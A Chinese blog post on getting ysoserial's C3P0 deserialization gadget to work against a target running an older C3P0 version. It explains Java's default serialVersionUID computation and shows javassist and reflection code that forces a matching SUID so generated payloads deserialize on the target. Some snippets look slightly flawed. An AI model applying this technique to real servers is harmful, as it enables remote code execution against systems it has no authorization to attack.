Java在反序列时, JVM会把传来的字节流中的serialVersionUID与本地对应类的serialVersionUID进行比较, 在两个SUID不同的情况下, 会抛出版本号不同的异常, 不再进行反序列。
if (model.serializable == osc.serializable && !cl.isArray() && suid != osc.getSerialVersionUID()) { throw new InvalidClassException(osc.name, "local class incompatible: " + "stream classdesc serialVersionUID = " + suid + ", local class serialVersionUID = " + osc.getSerialVersionUID()); }
之前做JEECMS的反序列的时候, 解决C3P0 SUID不同的方法是直接通过修改Ysoeriali C3P0 JAR包的版本与目标环境的JAR包版本一致使SUID一致。
最近闲得想试试通过反射来修改Ysoeriali JAR包的SUID来使SUID一致进行反序列。
测试Jar包 服务端 C3P0 0.9.1.1、ysoserial C3P0 0.9.5.2,
提示本地jar包的SUID为7387108436934414104
而字节流的SUID为-2440162180985815128, SUID不一致爆出异常。
在com.mchange.v2.c3p0.PoolBackedDataSource类中,
public final class PoolBackedDataSourceextends AbstractPoolBackedDataSourceimplements PooledDataSource{ public PoolBackedDataSource(boolean autoregister){ super(autoregister); } public PoolBackedDataSource(){ this(true); } public PoolBackedDataSource(String configName){ super(configName); } }
未定义serialVersionUID属性。
如果序列化的类里没有显示定义serialVersionUID属性, 那么会通过computeDefaultSUID方法计算得出SUID。
public long getSerialVersionUID(){ // REMIND: synchronize instead of relying on volatile? if (suid == null) { suid = AccessController.doPrivileged( new PrivilegedAction<Long>() { public Long run(){ return computeDefaultSUID(cl); } } ); } return suid.longValue(); }
computeDefaultSUID的大概实现就是通过反射获取到反序列类的成员属性,方法,实现接口等以及它们的修饰符输出到流中, 最后SHA HASH生成SUID。
在这里计算SUID的时候 没有用到成员属性的值以及方法的具体实现, 所以如果修改了成员属性的值和方法的实现是不存在影响的。
private static long computeDefaultSUID(Class<?> cl){ if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl)) { return 0L; } try { ByteArrayOutputStream bout = new ByteArrayOutputStream(); DataOutputStream dout = new DataOutputStream(bout); dout.writeUTF(cl.getName()); int classMods = cl.getModifiers() & (Modifier.PUBLIC | Modifier.FINAL | Modifier.INTERFACE | Modifier.ABSTRACT); /* * compensate for javac bug in which ABSTRACT bit was set for an * interface only if the interface declared methods */ Method[] methods = cl.getDeclaredMethods(); if ((classMods & Modifier.INTERFACE) != 0) { classMods = (methods.length > 0) ? (classMods | Modifier.ABSTRACT) : (classMods & ~Modifier.ABSTRACT); } dout.writeInt(classMods); if (!cl.isArray()) { /* * compensate for change in 1.2FCS in which * Class.getInterfaces() was modified to return Cloneable and * Serializable for array classes. */ Class<?>[] interfaces = cl.getInterfaces(); String[] ifaceNames = new String[interfaces.length]; for (int i = 0; i < interfaces.length; i++) { ifaceNames[i] = interfaces[i].getName(); } Arrays.sort(ifaceNames); for (int i = 0; i < ifaceNames.length; i++) { dout.writeUTF(ifaceNames[i]); } } Field[] fields = cl.getDeclaredFields(); MemberSignature[] fieldSigs = new MemberSignature[fields.length]; for (int i = 0; i < fields.length; i++) { fieldSigs[i] = new MemberSignature(fields[i]); } Arrays.sort(fieldSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2){ return ms1.name.compareTo(ms2.name); } }); for (int i = 0; i < fieldSigs.length; i++) { MemberSignature sig = fieldSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE | Modifier.TRANSIENT); if (((mods & Modifier.PRIVATE) == 0) || ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0)) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature); } } if (hasStaticInitializer(cl)) { dout.writeUTF("<clinit>"); dout.writeInt(Modifier.STATIC); dout.writeUTF("()V"); } Constructor<?>[] cons = cl.getDeclaredConstructors(); MemberSignature[] consSigs = new MemberSignature[cons.length]; for (int i = 0; i < cons.length; i++) { consSigs[i] = new MemberSignature(cons[i]); } Arrays.sort(consSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2){ return ms1.signature.compareTo(ms2.signature); } }); for (int i = 0; i < consSigs.length; i++) { MemberSignature sig = consSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0) { dout.writeUTF("<init>"); dout.writeInt(mods); dout.writeUTF(sig.signature.replace('/', '.')); } } MemberSignature[] methSigs = new MemberSignature[methods.length]; for (int i = 0; i < methods.length; i++) { methSigs[i] = new MemberSignature(methods[i]); } Arrays.sort(methSigs, new Comparator<MemberSignature>() { public int compare(MemberSignature ms1, MemberSignature ms2){ int comp = ms1.name.compareTo(ms2.name); if (comp == 0) { comp = ms1.signature.compareTo(ms2.signature); } return comp; } }); for (int i = 0; i < methSigs.length; i++) { MemberSignature sig = methSigs[i]; int mods = sig.member.getModifiers() & (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | Modifier.STATIC | Modifier.FINAL | Modifier.SYNCHRONIZED | Modifier.NATIVE | Modifier.ABSTRACT | Modifier.STRICT); if ((mods & Modifier.PRIVATE) == 0) { dout.writeUTF(sig.name); dout.writeInt(mods); dout.writeUTF(sig.signature.replace('/', '.')); } } dout.flush(); MessageDigest md = MessageDigest.getInstance("SHA"); byte[] hashBytes = md.digest(bout.toByteArray()); long hash = 0; for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) { hash = (hash << 8) | (hashBytes[i] & 0xFF); } return hash; } catch (IOException ex) { throw new InternalError(ex); } catch (NoSuchAlgorithmException ex) { throw new SecurityException(ex.getMessage()); } }
这里来对比一下两个版本C3P0的com.mchange.v2.c3p0.PoolBackedDataSource
0.9.5.2版本,
package com.mchange.v2.c3p0; import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource; public final class PoolBackedDataSourceextends AbstractPoolBackedDataSourceimplements PooledDataSource{ public PoolBackedDataSource(boolean autoregister){ super(autoregister); } public PoolBackedDataSource(){ this(true); } public PoolBackedDataSource(String configName){ this(); this.initializeNamedConfig(configName, false); } public String toString(boolean show_config){ return this.toString(); } }
0.9.1.1版本,
package com.mchange.v2.c3p0; import com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource; public final class PoolBackedDataSourceextends AbstractPoolBackedDataSourceimplements PooledDataSource{ public PoolBackedDataSource(boolean autoregister){ super(autoregister); } public PoolBackedDataSource(){ this(true); } public PoolBackedDataSource(String configName){ super(configName); } }
两个版本的com.mchange.v2.c3p0.PoolBackedDataSource类中都没有定义SUID, 所以通过computeDefaultSUID来得出SUID, 而且可以明显的看出 在高版本的C3P0当中多了一个toString方法, 必然两个版本经过computeDefaultSUID得到的SUID不同。
对于这种没有显示定义SUID的场景, 大概想了几种方法。
尝试通过反射添加SUID属性, 然后再修改属性值为7387108436934414104。
但是翻了下文档, 没看到反射能添加属性这个操作, 就只有放弃了。
Hook computeDefaultSUID方法, 如果传入的类是com.mchange.v2.c3p0.PoolBackedDataSource, 直接修改返回值为7387108436934414104。
但是找了一下 都没找到个合适的能hook class的框架,
就直接用idea来”hook”了。
在computeDefaultSUID里下个断点,
把hash修改为7387108436934414104
就不会在出现SUID异常了。
直接使用javassist修改com.mchange.v2.c3p0.PoolBackedDataSource的字节码, 给它添加上一个值为7387108436934414104的SUID属性。
ClassPool pool = ClassPool.getDefault(); try { CtClass cls = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); CtField field = CtField.make("private static final long serialVersionUID = 7387108436934414104;",cls); cls.addField(field); cls.writeFile(); } catch (NotFoundException e) { e.printStackTrace(); } catch (CannotCompileException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); }
修改字节码后, 重新打包jar包 加载到ysoserial当中,
serialVersionUID已经定义上。
再次生成payload,
不再出现SUID异常。
如果序列化的类显示定义了serialVersionUID, 只是值不同造成的异常解决起来就比较简单了, 直接通过反射修改该属性值即可。
由于每一个SUID属性的修饰符都是private static final,数据类型为long。
final修饰的属性没法通过反射直接修改属性值, 所以需要先通过反射修改SUID的修饰符 把final修饰符给去掉。
去掉final之后, 再修改SUID的属性值, 最后再把final修饰符重新添加回去即可。
假设(这是我自己改代码造的场景了)
YSO的C3P0 Jar包 SUID为7387108436934414104, 打反序列时提示
所以此时要把yso里的SUID从7387108436934414104修改为-2440162180985815128.
因为这时yso C3P0包存在SUID只是值不同而已, 所以直接利用反射来修改。
在生成payload之前把suid改掉,
try { Class clazz = Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"); Object obj = clazz.newInstance(); Field field = clazz.getDeclaredField("serialVersionUID"); field.setAccessible(true); Field modifersField = Field.class.getDeclaredField("modifiers"); modifersField.setAccessible(true); modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); field.setLong(obj,-2440162180985815128L); modifersField.setInt(field, field.getModifiers() & Modifier.FINAL); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (NoSuchFieldException e) { e.printStackTrace(); }